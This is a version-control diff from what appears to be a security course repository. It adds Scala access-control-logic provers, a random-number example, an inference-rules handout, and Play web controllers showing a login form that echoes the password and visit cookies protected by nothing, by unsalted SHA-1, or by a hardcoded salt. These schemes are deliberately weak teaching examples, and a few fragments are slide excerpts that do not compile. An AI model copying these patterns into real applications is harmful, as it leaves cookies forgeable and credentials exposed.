+            () => prove(Judgement(Says(p, f2)::lhs_rest, rhs), sc)) 
+    case _ => ()
+  }
+
+  
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+  try { 
+    def sc () = { println ("Yes!"); throw new Exception }
+    prove(j, sc) 
+  }
+  catch { case e: Exception => () }
+} 
+
+run (Judgement (Nil, False -> Del))
+run (Judgement (Nil, True -> Del))
+run (Judgement (Nil, Del -> True))
+
+run (goal)
+
+val Gamma1 = 
+  List( Says(Admin, Says(Bob, Del) -> Del),
+        Says(Bob, Del) )
+
+val goal1 = Judgement(Gamma1, Del) // not provable
+
+run (goal1)
+
+run (Judgement(Nil, Del -> Del))
+
+run (Judgement(Nil, Del -> Or(False, Del)))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_btain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = Says(HoD, Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = Says(HoD, Chr_Staff)
+
+run (Judgement (List(AtLib, Policy_HoD, Policy_Lib, HoD_says), Email))
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/prove2.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove2.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,129 @@
+import scala.language.implicitConversions
+import scala.language.reflectiveCalls
+import scala.util._
+
+abstract class Term 
+case class Var(s: String) extends Term 
+case class Const(s: String) extends Term 
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form 
+case class And(f1: Form, f2: Form) extends Form 
+case class Or(f1: Form, f2: Form) extends Form 
+
+case class Judgement(gamma: Set[Form], f: Form) {
+  def lhs = gamma
+  def rhs = f
+}
+
+// some syntactic sugar
+implicit def FormOps(f1: Form) = new {
+  def -> (f2: Form) = Imp(f1, f2)
+}
+implicit def StringOps(p: String) = new {
+  def says (f: Form) = Says(p, f)
+}
+implicit def SetFormOps(gamma: Set[Form]) = new {
+  def |- (f: Form) : Judgement = Judgement(gamma, f)
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma: Set[Form] = 
+  Set( (Admin says Del) -> Del,
+       Admin says ((Bob says Del) -> Del),
+       Bob says Del )
+
+val goal = Gamma |- Del // request: provable or not?
+
+def partitions[A](s: Set[A]): Set[(A, Set[A])]  = 
+  s.map (e => (e, s - e))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+  if (j.lhs.contains(j.rhs))  sc ()   // Axiom rule 
+  else prove1(j, sc) 
+}
+
+def prove1(j: Judgement, sc: () => Unit) : Unit = 
+  j.rhs match {
+    case True => sc ()
+    case False => ()
+    case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc) 
+    case Says(p, f1) => prove(j.lhs |- f1, sc) 
+    case Or(f1, f2) => 
+      { prove(j.lhs |- f1, sc);
+        prove(j.lhs |- f2, sc) }
+    case And(f1, f2) => 
+      prove(j.lhs |- f1, 
+            () => prove(j.lhs |- f2, sc))
+    case _ => { for ((f, lhs_rest) <- partitions(j.lhs))
+                  prove2(f, lhs_rest, j.rhs, sc) }
+  }
+
+def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit = 
+  f match {
+    case True => prove(lhs_rest |- rhs, sc)
+    case False => sc ()
+    case And(f1, f2) =>
+      prove(lhs_rest + f1 + f2 |- rhs, sc)
+    case Imp(f1, f2) => 
+      prove(lhs_rest |- f1, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Or(f1, f2) => 
+      prove(lhs_rest + f1 |- rhs, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Says(p, Imp(f1, f2)) => 
+      prove(lhs_rest |- Says(p, f1), 
+            () => prove(lhs_rest + Says(p, f2) |- rhs, sc)) 
+    case _ => ()
+  }
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+  def sc () = { println ("Yes!"); throw new Exception }
+  Try(prove(j, sc)) getOrElse ()
+} 
+
+run (goal)
+
+run (Set[Form]() |- False -> Del)
+run (Set[Form]() |- True -> Del)
+run (Set[Form]() |- Del -> True)
+run (Set[Form]() |- Del -> Del)
+run (Set[Form]() |- Del -> Or(False, Del))
+
+
+val Gamma1 : Set[Form] = 
+  Set( Admin says ((Bob says Del) -> Del),
+       Bob says Del )
+
+val goal1 = Gamma1 |- Del // not provable
+run (goal1)
+
+
+val f1 = Pred("F1", Nil)
+val f2 = Pred("F2", Nil)
+run (Set[Form](And(f1, f2)) |- And(f2, f1))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_btain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = HoD says Chr_Staff
+
+run (Set[Form](AtLib, Policy_HoD, Policy_Lib, HoD_says) |- Email)
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/prove3.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove3.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,131 @@
+import scala.language.implicitConversions
+import scala.language.reflectiveCalls
+import scala.util._
+
+abstract class Term 
+case class Var(s: String) extends Term 
+case class Const(s: String) extends Term 
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form 
+case class And(f1: Form, f2: Form) extends Form 
+case class Or(f1: Form, f2: Form) extends Form 
+
+case class Judgement(gamma: Set[Form], f: Form) {
+  def lhs = gamma
+  def rhs = f
+}
+
+// some syntactic sugar
+implicit def FormOps(f1: Form) = new {
+  def -> (f2: Form) = Imp(f1, f2)
+}
+implicit def StringOps(p: String) = new {
+  def says (f: Form) = Says(p, f)
+}
+implicit def SetFormOps(gamma: Set[Form]) = new {
+  def |- (f: Form) : Judgement = Judgement(gamma, f)
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma: Set[Form] = 
+  Set( (Admin says Del) -> Del,
+       Admin says ((Bob says Del) -> Del),
+       Bob says Del )
+
+val goal = Gamma |- Del // request: provable or not?
+
+def partitions[A](s: Set[A]): Set[(A, Set[A])]  = 
+  s.map (e => (e, s - e))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+  if (j.lhs.contains(j.rhs))  sc ()   // Axiom rule 
+  else { 
+    prove1(j, sc);
+    for ((f, lhs_rest) <- partitions(j.lhs)) prove2(f, lhs_rest, j.rhs, sc)
+  }
+}
+
+def prove1(j: Judgement, sc: () => Unit) : Unit = 
+  j.rhs match {
+    case True => sc ()
+    case False => ()
+    case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc) 
+    case Says(p, f1) => prove(j.lhs |- f1, sc) 
+    case Or(f1, f2) => 
+      { prove(j.lhs |- f1, sc);
+        prove(j.lhs |- f2, sc) }
+    case And(f1, f2) => 
+      prove(j.lhs |- f1, 
+            () => prove(j.lhs |- f2, sc))
+    case _ => ()
+  }
+
+def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit = 
+  f match {
+    case True => prove(lhs_rest |- rhs, sc)
+    case False => sc ()
+    case And(f1, f2) =>
+      prove(lhs_rest + f1 + f2 |- rhs, sc)
+    case Imp(f1, f2) => 
+      prove(lhs_rest |- f1, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Or(f1, f2) => 
+      prove(lhs_rest + f1 |- rhs, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Says(p, Imp(f1, f2)) => 
+      prove(lhs_rest |- Says(p, f1), 
+            () => prove(lhs_rest + Says(p, f2) |- rhs, sc)) 
+    case _ => ()
+  }
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+  def sc () = { println ("Yes!"); throw new Exception }
+  Try(prove(j, sc)) getOrElse ()
+} 
+
+run (goal)
+
+run (Set[Form]() |- False -> Del)
+run (Set[Form]() |- True -> Del)
+run (Set[Form]() |- Del -> True)
+run (Set[Form]() |- Del -> Del)
+run (Set[Form]() |- Del -> Or(False, Del))
+
+
+val Gamma1 : Set[Form] = 
+  Set( Admin says ((Bob says Del) -> Del),
+       Bob says Del )
+
+val goal1 = Gamma1 |- Del // not provable
+run (goal1)
+
+
+val f1 = "P" says Pred("F1", Nil)
+val f2 = "Q" says Pred("F2", Nil)
+run (Set[Form](And(f1, f2)) |- And(f2, f1))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_btain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = HoD says Chr_Staff
+
+run (Set[Form](AtLib, Policy_HoD, Policy_Lib, HoD_says) |- Email)
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/routes
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/routes	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,10 @@
+# Application1 needs entries for both GET and POST 
+#
+# all other applications only need an entry for GET
+
+# Home page
+GET     /                           controllers.Application.index
+#POST    /                           controllers.Application.receive
+
+# Map static resources from the /public folder to the /assets URL path
+GET     /assets/*file               controllers.Assets.at(path="/public", file)
\ No newline at end of file
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/Application0.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application0.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,24 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+
+// hello world program: 
+// just answer the GET request with a string
+
+object Application extends Controller {
+
+  // answering a GET request
+  def index = Action {
+    Ok(views.html.index("222Your new application is ready."))
+    //Ok("Hello World")
+  }  
+  
+}
+
+/*
+ * HTML can be returned using
+ *
+ * Ok("<H1>Hello world!</H1>").as(HTML)
+ *
+ */ 
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/Application1.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application1.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,39 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+
+/*
+ * Answers a GET-request by sending a simple login form.
+ *
+ * Processes the POST-data by just printing the results.
+ *
+ */
+
+object Application extends Controller {
+
+  // GET request -> login form
+  val index = Action { request =>
+    
+    val form = """
+               <form method="post"> 
+               Login: <input type="text" name="login"><br>
+               Password: <input type="password" name="password"><br>
+               <input type="submit"></form>"""
+
+    Ok(form).as(HTML)
+  }  
+
+  
+  // POST data: processing the login data
+  val receive = Action { request =>
+    
+    val form_data = Form(tuple ("login" -> text, "password" -> text))
+    val (login, password) = form_data.bindFromRequest()(request).get 
+    
+    Ok(s"Received login: $login and password: $password")
+  }
+  
+}
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/Application2.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application2.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,43 @@
+package controllers
+
+import play.api.mvc._
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * client's browser recording the number of visits
+ * of a page.
+ */
+
+object Application extends Controller {
+
+  //no or invalid cookie results in the counter being 0
+  def gt_cookie(c: Cookie) : Int = c.value match {
+    case s if (s.forall(_.isDigit)) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = {
+    Cookie("visits", i.toString)
+  }
+  
+  // GET request: read cookie data first
+  def index = Action { request =>
+ 
+    //reads the cookie and extracts the visits counter   
+    val visits_cookie = request.cookies.get("visits")
+    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+    //printing a message according to value of visits counter
+    val msg = 
+      if (visits >= 10)
+        s"You are a valued customer who has visited this site $visits times."               
+      else s"You have visited this site $visits times."
+    
+    //send message with new cookie
+    Ok(msg).withCookies(mk_cookie(visits + 1))
+  }
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/Application3.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application3.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,50 @@
+package controllers
+
+import play.api.mvc._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed and stored in the format:
+ *
+ * visits_counter/hashed_value 
+ */
+
+object Application extends Controller {
+
+  //hash functions: SHA-1, SHA-256, etc
+  def mk_hash(s: String) : String = {
+    val hash_fun = MessageDigest.getInstance("SHA-1")
+    hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
+  }
+
+  //extracting from the string .../... the visits
+  //value and hash
+  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+    case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = {
+    val hash = mk_hash(i.toString)
+    Cookie("visits", s"$i/$hash")
+  }
+   
+  def index = Action { request =>
+    val visits_cookie = request.cookies.get("visits")
+    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+    val msg = 
+      if (visits >= 10)
+        s"You are a valued customer who has visited this site $visits times."               
+      else s"You have visited this site $visits times."
+    
+    Ok(msg).withCookies(mk_cookie(visits + 1))
+  }     
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/Application4.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application4.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,52 @@
+package controllers
+
+import play.api.mvc._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed and salted with a
+ * secret key.
+ */
+
+
+object Application extends Controller {
+
+  //secret key for salting 
+  val salt = "my secret key"
+
+  //SHA-1 + salt
+  def mk_hash(s: String) : String = {
+    val hash_fun = MessageDigest.getInstance("SHA-1")
+    hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
+  }
+
+  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+    case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = {
+    val hash = mk_hash(i.toString)
+    Cookie("visits", s"$i/$hash")
+  }
+   
+  def index = Action { request =>
+
+    val visits_cookie = request.cookies.get("visits")
+    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+    val msg = 
+      if (visits >= 10)
+        s"You are a valued customer who has visited this site $visits times."               
+      else s"You have visited this site $visits times."
+    
+    Ok(msg).withCookies(mk_cookie(visits + 1))
+  }     
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/app0.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app0.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,13 @@
+package controllers
+import play.api.mvc._
+
+object Application extends Controller {
+
+  // answering a GET request
+  val index = Action { request =>
+    Ok("Hello world!")
+  }  
+}
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/app1.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app1.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,26 @@
+object Application extends Controller {
+
+  // GET request -> present login form
+  val index = Action { request =>
+    
+    val form = 
+       """<form method="post"> 
+          Login: <input type="text" name="login"><br>
+          Password: <input type="password" name="password"><br>
+          <input type="submit"></form>"""
+
+    Ok(form).as(HTML)
+  }  
+
+  // POST data: processing the login data
+  val receive = Action { request =>
+    
+    val form_data = Form(tuple ("login" -> text, "password" -> text))
+    def (login, passwd) = form_data.bindFromRequest()(request).get
+    
+    Ok(s"Received login: $login and password: $passwd")
+  }
+}
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/app2.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app2.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,30 @@
+object Application extends Controller {
+
+  def gt_cookie(c: Cookie) : Int = c.value match {
+    case s if (s.forall(_.isDigit)) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = Cookie("visits", i.toString)
+  
+  // GET request: read cookie data first
+  def index = Action { request =>
+ 
+    //reads the cookie and extracts the visits counter   
+    val visits_cookie = request.cookies.get("visits")
+    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+    //printing a message according to value of visits counter
+    val msg = 
+      if (visits >= 10)
+        s"You are a valued customer who has visited this site $visits times."               
+      else s"You have visited this site $visits times."
+    
+    //send message with new cookie
+    Ok(msg).withCookies(mk_cookie(visits + 1))
+  }
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/app3.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app3.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,25 @@
+object Application extends Controller {
+
+  //SHA-1, SHA-256
+  def mk_hash(s: String) : String = {
+    val hash_fun = MessageDigest.getInstance("SHA-1")
+    hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
+  }
+
+  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+    case Array(s, h) 
+      if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = {
+    val hash = mk_hash(i.toString)
+    Cookie("visits", s"$i/$hash")
+  }
+   
+  def index = Action { request => ... }     
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/app4.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app4.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,27 @@
+object Application extends Controller {
+
+  val salt = "my secret key"
+
+  //SHA-1 + salt
+  def mk_hash(s: String) : String = {
+    val hash_fun = MessageDigest.getInstance("SHA-1")
+    hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
+  }
+
+  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+    case Array(s, h) 
+      if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = {
+    val hash = mk_hash(i.toString)
+    Cookie("visits", s"$i/$hash")
+  }
+   
+  def index = Action { request => ... }
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/prove.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/prove.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,179 @@
+import scala.language.implicitConversions
+import scala.language.reflectiveCalls
+import scala.util._
+
+abstract class Term 
+case class Var(s: String) extends Term 
+case class Const(s: String) extends Term 
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form 
+case class And(f1: Form, f2: Form) extends Form 
+case class Or(f1: Form, f2: Form) extends Form 
+case class Sends(p: String, q: String, f: Form) extends Form
+case class Enc(f1: Form, f2: Form) extends Form
+
+case class Judgement(gamma: Set[Form], f: Form) {
+  def lhs = gamma
+  def rhs = f
+}
+
+// some syntactic sugar
+implicit def FormOps(f1: Form) = new {
+  def -> (f2: Form) = Imp(f1, f2)
+}
+implicit def StringOps(p: String) = new {
+  def says (f: Form) = Says(p, f)
+}
+implicit def SetFormOps(gamma: Set[Form]) = new {
+  def |- (f: Form) : Judgement = Judgement(gamma, f)
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma: Set[Form] = 
+  Set( (Admin says Del) -> Del,
+       Admin says ((Bob says Del) -> Del),
+       Bob says Del )
+
+val goal = Gamma |- Del // request: provable or not?
+
+def partitions[A](s: Set[A]): Set[(A, Set[A])]  = 
+  s.map (e => (e, s - e))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+  if (j.lhs.contains(j.rhs))  sc ()   // Axiom rule 
+  else { 
+    prove1(j, sc);
+    for ((f, lhs_rest) <- partitions(j.lhs)) prove2(f, lhs_rest, j.rhs, sc)
+  }
+}
+
+def prove1(j: Judgement, sc: () => Unit) : Unit = 
+  j.rhs match {
+    case True => sc ()
+    case False => ()
+    case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc) 
+    case Says(p, Enc(f1, f2)) => 
+      prove(j.lhs |- Says(p, f1), 
+            () => prove(j.lhs |- Says(p, f2), sc))
+    case Says(p, f1) => prove(j.lhs |- f1, sc) 
+    case Or(f1, f2) => 
+      { prove(j.lhs |- f1, sc);
+        prove(j.lhs |- f2, sc) }
+    case And(f1, f2) => 
+      prove(j.lhs |- f1, 
+            () => prove(j.lhs |- f2, sc))
+    case Sends(p, q, f) => prove(j.lhs + (p says f) |- (q says f), sc)
+    case _ => ()
+  }
+
+def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit = 
+  f match {
+    case True => prove(lhs_rest |- rhs, sc)
+    case False => sc ()
+    case And(f1, f2) =>
+      prove(lhs_rest + f1 + f2 |- rhs, sc)
+    case Imp(f1, f2) => 
+      prove(lhs_rest |- f1, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Sends(p, q, f) => 
+      prove(lhs_rest |- (p says f), 
+            () => prove(lhs_rest + (q says f) |- rhs, sc))
+    case Enc(f1, f2) => 
+      prove(lhs_rest |- f1, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Or(f1, f2) => 
+      prove(lhs_rest + f1 |- rhs, 
+            () => prove(lhs_rest + f2 |- rhs, sc))
+    case Says(p, Enc(f1, f2)) => 
+      prove(lhs_rest |- Says(p, f2), 
+            () => prove(lhs_rest + Says(p, f1) |- rhs, sc))
+    case Says(p, Imp(f1, f2)) => 
+      prove(lhs_rest |- Says(p, f1), 
+            () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
+     
+    case _ => ()
+  }
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+  def sc () = { println ("Yes!"); throw new Exception }
+  Try(prove(j, sc)) getOrElse ()
+} 
+
+run (goal)
+
+run (Set[Form]() |- False -> Del)
+run (Set[Form]() |- True -> Del)
+run (Set[Form]() |- Del -> True)
+run (Set[Form]() |- Del -> Del)
+run (Set[Form]() |- Del -> Or(False, Del))
+
+
+val Gamma1 : Set[Form] = 
+  Set( Admin says ((Bob says Del) -> Del),
+       Bob says Del )
+
+val goal1 = Gamma1 |- Del // not provable
+run (goal1)
+
+
+val f1 = "P" says Pred("F1", Nil)
+val f2 = "Q" says Pred("F2", Nil)
+run (Set[Form](And(f1, f2)) |- And(f2, f1))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_obtain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = HoD says Chr_Staff
+
+run (Set[Form](AtLib, Policy_HoD, Policy_Lib) |- Email)
+
+println("Server Example")
+
+def Connect(p: String, q: String) : Form =
+  Pred("Connect", List(Var(p), Var(q)))
+
+
+val A = "A"
+val B = "B"
+val S = "S"
+val CAB = Connect(A, B)
+val Msg = Pred("Msg", Nil)
+val KAS = Pred("Kas", Nil)
+val KBS = Pred("Kbs", Nil)
+val KAB = Pred("Kab", Nil)
+
+val Gamma_big : Set[Form] = 
+  Set( A says CAB,
+       Sends(A, S, CAB), 
+       S says (CAB -> Enc(KAB, KAS)),
+       S says (CAB -> Enc(Enc(KAB, KBS), KAS)),
+       Sends(S, A, Enc(KAB, KAS)),
+       Sends(S, A, Enc(Enc(KAB, KBS), KAS)),
+       Sends(A, B, Enc(KAB, KBS)),
+       Sends(A, B, Enc(Msg, KAB)),
+       A says KAS,
+       B says KBS,
+       S says KAS,
+       A says (Enc(Msg, KAB))
+     )
+
+run (Gamma_big |- (B says Msg))
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/scala/random.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/random.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,18 @@
+
+val m = 16
+val a = 5
+val c = 1
+val X0 = 10
+
+def ran(n: Int, X: Int) : Set[Int] = n match {
+  case 0 => Set()
+  case n => {
+    val X_new = (a * X + c) % m
+    Set(X) ++ ran(n - 1, X_new) 
+  }
+}
+
+for (i <- 0 to 16) {
+  val l = ran(16, i)
+  println(l.size.toString + " " + l.toString)
+}
diff -r 9c968d0de9a0 -r 2ce98ee39990 handouts/inferences.pdf
Binary file handouts/inferences.pdf has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 handouts/inferences.tex
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/handouts/inferences.tex	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,91 @@
+\documentclass{article}
+\usepackage{charter}
+\usepackage{proof}
+
+\begin{document}
+
+\section*{Inference Rules}
+
+\begin{enumerate}
+\item Frequently used inference rules:
+
+\begin{center}
+\mbox{\infer{F,\Gamma \vdash F}{}}\medskip
+
+\mbox{\infer{\Gamma \vdash F_2}
+            {\Gamma \vdash F_1 \Rightarrow F_2 & \Gamma \vdash F_1}}
+\hspace{10mm}
+\mbox{\infer{\Gamma \vdash F_1 \Rightarrow F_2}
+            {F_1, \Gamma \vdash F_2}}\medskip
+
+\mbox{\infer{\Gamma \vdash P \;\textit{says}\; F}
+            {\Gamma \vdash F}}
+\hspace{10mm}
+\mbox{\infer[\star]{\Gamma \vdash F}
+            {\Gamma \vdash P \;\textit{controls}\; F & \Gamma \vdash P
+              \;\textit{says}\; F}}\medskip
+
+\mbox{\infer{\Gamma \vdash P \;\textit{says}\;F_2}
+            {\Gamma \vdash P \;\textit{says}\; (F_1 \Rightarrow F_2) & 
+             \Gamma \vdash P \;\textit{says}\;F_1}}\medskip
+
+\mbox{\infer{\Gamma \vdash F[x := t]}
+            {\Gamma \vdash \forall x. F}}\medskip
+
+\mbox{\infer{\Gamma \vdash F_1 \wedge F_2}
+            {\Gamma \vdash F_1 & \Gamma \vdash F_2}}
+\hspace{10mm}
+\mbox{\infer{\Gamma \vdash F_1}
+            {\Gamma \vdash F_1 \wedge F_2}}
+\hspace{10mm}
+\mbox{\infer{\Gamma \vdash F_2}
+            {\Gamma \vdash F_1 \wedge F_2}}\medskip
+
+\mbox{\infer[\star]{\Gamma \vdash Q\;\textit{says}\; F}{\Gamma \vdash P\mapsto Q &
+    \Gamma \vdash P\;\textit{says}\; F}}
+\end{center}
+
+\item Less frequently used inference rules:
+
+\begin{center}
+\mbox{\infer{\Gamma \vdash slev(P) < slev(Q)}
+            {\Gamma \vdash slev(P) = l_1 & \Gamma \vdash slev(Q) = l_2 &
+              \Gamma \vdash l_1 < l_2}}\medskip
+
+\mbox{\infer{\Gamma \vdash slev(P) = slev(Q)}
+            {\Gamma \vdash slev(P) = l & \Gamma \vdash slev(Q) = l}}\medskip
+
+\mbox{\infer{\Gamma \vdash l_1 < l_3}
+            {\Gamma \vdash l_1 < l_2 & \Gamma \vdash l_2 < l_3}}\medskip
+
+\mbox{\infer[\star]{\Gamma \vdash P \mapsto R}{\Gamma \vdash P\mapsto Q & \Gamma
+    \vdash Q \mapsto R}}\medskip
+
+
+\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_1}}
+\hspace{5mm}
+\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_2}}
+\hspace{5mm}
+\mbox{\infer{\Gamma \vdash F_3}{\Gamma \vdash F_1 \vee F_2 & F_1, \Gamma
+    \vdash F_3 & F_2, \Gamma \vdash F_3}}\medskip
+
+\mbox{\infer[c\;\mbox{must be a fresh variable}]{\Gamma \vdash \forall
+    x. F}{\Gamma \vdash F[x := c]}}\medskip
+
+\mbox{\infer{\Gamma \vdash \textit{true}}{}}\medskip
+
+\mbox{\infer[\star]{\Gamma \vdash P\;\textit{controls}\; F}{\Gamma \vdash P\mapsto Q
+    & \Gamma \vdash Q\;\textit{controls} F}}
+
+
+\end{center}
